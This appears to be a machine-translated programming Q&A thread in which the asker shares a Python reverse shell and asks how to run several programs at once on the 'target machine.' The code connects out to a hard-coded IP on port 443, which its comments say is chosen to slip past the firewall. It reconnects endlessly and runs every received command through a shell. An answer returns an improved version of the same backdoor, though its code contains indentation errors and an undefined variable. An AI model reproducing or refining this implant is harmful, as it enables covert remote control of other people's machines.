9

Mã bên dưới hoạt động nhưng mỗi khi bạn chạy một chương trình, ví dụ: notepad trên máy đích, lời nhắc sẽ bị kẹt cho đến khi tôi thoát khỏi chương trình.Đồng thời với mô-đun quy trình con. Tôi có thể làm cái này như thế nào?

Làm cách nào để chạy nhiều chương trình cùng một lúc trên máy đích? Tôi cho rằng nó có thể đạt được với một trong hai chủ đề hoặc mô-đun subprocess, nhưng tôi vẫn không thể sử dụng khái niệm.

Tôi làm cách nào để thực hiện việc này?

import socket 
import time 
import subprocess #Executar comandos do SO 

#criando a conexao reversa 

IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando 
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada 

def connect(IP,PORT): 
    #conectando a central de controle 
    try: 
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # IP/TCP 

     s.connect((IP,PORT)) 
     s.send('[!] Conexao recebida\n')  # msg pra ver se foi conectado 
     #s.close() 
     return s 
    except Exception as e: 
     print('Erro de conexao',e) 
     return None 

def listen(s): 
##qdo o cliente nao esta escutando, da erro na conexao e fecha!. Nao quero isso. O server tem que ficar o tempo todo tentando ate conectar! 
## versao 3!!!!!!!!!! 
#versao 4 usa while True 

##########loop infinito para receber comandos 
    try: 

     while True: 
      data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n} 
      #print(data) 
      if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n 
       s.close()#fechar conexao 
       exit(0) # 0 eh execucao normal/sem erros 
      else: #executar os comandos 
       cmd(s,data) 
    except: 
     main(s) 

def cmd(s,data): 
    try:  
     proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 
     saida = s.send(proc.stdout.read() + proc.stderr.read()) 
     s.send(saida) 
     #print(proc.stdout.read())  
    except: 
     main(s) 

def main(s): 
    if s: 
     s.close() 

    while True: 
     s_connected = connect(IP,PORT) 
     if s_connected: 
      listen(s_connected) 
     else: 
      print("deu erro na conexao, tentando de novo!!!")##so pra debug 
      time.sleep(10) 

    #return 0 #nao precisa 

s = None 
main(s) 
+3

Tôi đoán bạn có nghĩa là đa và không đa luồng. Chủ đề tồn tại trong một quá trình. – ElmoVanKielmo

+1

@ElmoVanKielmo, anh ấy đang sử dụng subprocess.Popen, bạn có thể bắt đầu và chờ từ một chuỗi. Luồng là một giải pháp hoàn toàn khả thi ở đây. –

+1

@MadPhysicist Come on. Luồng cho trường hợp này? Tốt hơn là xây dựng danh sách các quy trình đang chạy và thăm dò ý kiến ​​của từng quy trình để xem liệu nó có bị chấm dứt hay không. – ElmoVanKielmo

Trả lời

7

Hãy thử một cái gì đó như:

import socket 
import time 
import subprocess 
import select 

IP = '192.168.1.33' 
PORT = 443 

def connect(IP,PORT): 
    try: 
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

     s.connect((IP,PORT)) 
     s.send('[!] Conexao recebida\n') 
    return s 
except Exception as e: 
    print('Erro de conexao',e) 
    return None 


def listen(s): 
    try: 
     # Create a polling object and register socket with it 
     socket_poll = select.poll() 
     socket_poll.register(s) 
     # Create a list of running processes 
     processes = [] 
     while True: 
      # If no data is available on the socket, we can use the time to clean up processes which are finished 
      if not socket_poll.poll(1): 
       for process in tuple(processes): 
        if process.poll(): 
         s.send(proc.stdout.read() + proc.stderr.read()) 
         processes.remove(process) 
       continue 
      data = s.recv(1024) 
      if data[:-1] == '/exit': 
       s.close() 
       exit(0) 
      else: 
       cmd(s, data, processes) 
    except: 
     main(s) 


def cmd(s, data, processes): 
    try:  
     proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 
     # Add new process to the list 
     processes.append(proc) 
    except: 
     main(s) 


def main(s): 
    if s: 
     s.close() 

    while True: 
     s_connected = connect(IP,PORT) 
     if s_connected: 
      listen(s_connected) 
     else: 
      time.sleep(10) 

s = None 
main(s) 

Xin lỗi để loại bỏ ý kiến ​​Tây Ban Nha;)

+0

cảm ơn vì giải pháp !! –

+0

Có thể sử dụng Chủ đề không? –

+0

Có, có thể. Tôi khuyến khích bạn viết mã bằng cách sử dụng các chủ đề như Mad Physicist được đề xuất. Đừng lo lắng nếu nó không hoạt động. Khi bạn làm điều đó, chúng tôi có thể cho bạn thấy những gì sai và sửa nó. Chỉ cần sử dụng trí tưởng tượng của bạn để cho chúng tôi thấy cách bạn muốn sử dụng các chủ đề ở đây. – ElmoVanKielmo

Các vấn đề liên quan